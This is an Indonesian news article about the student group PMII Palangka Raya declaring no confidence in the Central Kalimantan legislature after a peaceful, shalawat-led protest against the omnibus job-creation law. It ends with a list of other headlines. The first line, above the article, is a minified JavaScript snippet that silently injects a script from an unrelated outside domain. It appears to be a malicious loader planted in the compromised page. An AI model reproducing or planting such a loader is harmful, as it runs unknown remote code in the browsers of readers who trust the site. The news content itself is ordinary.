(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Palangkaraya

PMII Palangka Raya Menyatakan Mosi Tak Percaya kepada DPRD Kalteng


KANALKALIMANTAN.COM, PALANGKA RAYA — Pergerakan Mahasiswa Islam Indonesia (PMII) Kota Palangka Raya menyatakan mosi tidak percaya terhadap anggota DPRD Kalimantan Tengah.

Hal itu lantaran kekecewaan mereka tidak bisa menemui satupun wakil rakyat dengan alasan sedang melakukan kunjungan kerja ke luar daerah. “Kami saat kecewa dengan kinerja DPRD Kalteng, yang seharusnya mendengar aspirasi rakyat. Dengan ini kami menyatakan mosi tidak percaya kepada mereka,” kata Ketua PMII Palangka Raya Surya Nur, Jumat (9/10).

Mosi tidak percaya disampaikannya, usai melakukan aksi damai penolakan undang-undang (UU) omnibus law cipta lapangan kerja (Ciptaker) di Halaman Kantor DPRD Kalteng, Jumat (9/10/2020).

Oleh sebab itu, tuntutan mereka hanya diterima salah satu pejabat di lingkungan DPRD Kalteng saja. Tapi mereka akan tetap mengawal apresiasi yang telah disampaikan, sampai menunggu jawaban dari Ketua DPRD Kalteng Wiyatno. Apabila tidak ada jawaban seperti tuntutan mereka, maka mereka akan kembali melakukan aksi.

Adapun tuntutan mereka yakni menolak tegas UU omnibus law ciptaker, karena bertentangan dengan nilai keadilan sosial. Menuntut Presiden Jokowi tidak menandatangani UU Ciptaker tersebut. Pasalnya, ini sebagai itikad baik presiden, yang peduli dengan apa yang rakyat sampaikan.

Kemudian mendukung penuh, upaya yang akan dilakukan PMII pusat dengan melakukan yudisial rewiew di Mahkamah Konstitusi (MK). Sementara itu saat menyuarakan aksi penolakan. PMII melakukan dengan cara yang berbeda. Mereka hanya melantunkan shalawat burdah, puisi dan penyampaian tuntutan. Menurutnya Surya, apa yang mereka lakukan, agar tidak tidak ingin menambah suasana semakin panas dan tidak terkendali.

“Karena yang paling substansi dari aksi adalah menyampaikan tuntutan dengan cara berbeda-beda. Sehingga kami memilih cara ini, karena sesuai dengan karakter kami, sebagai mahasiswa NU, shalawatan ciri khas NU,”ujarnya.

Tak hanya itu saja, mereka juga ketat menerapkan protokol kesehatan. Oleh sebab itu, jumlah peserta aksi dibatasi hanya 50 orang saja. Selain itu, ternyata mereka juga telah menjalani rapid test, sebelum diizinkan melakukan aksi di halaman kantor wakil rakyat ini. (kanalkalimantan.com/tri)

 

Reporter: Tri
Editor: Cell


Desy Arfianty

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

2 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

2 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

2 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

4 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

5 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

6 jam ago

This website uses cookies.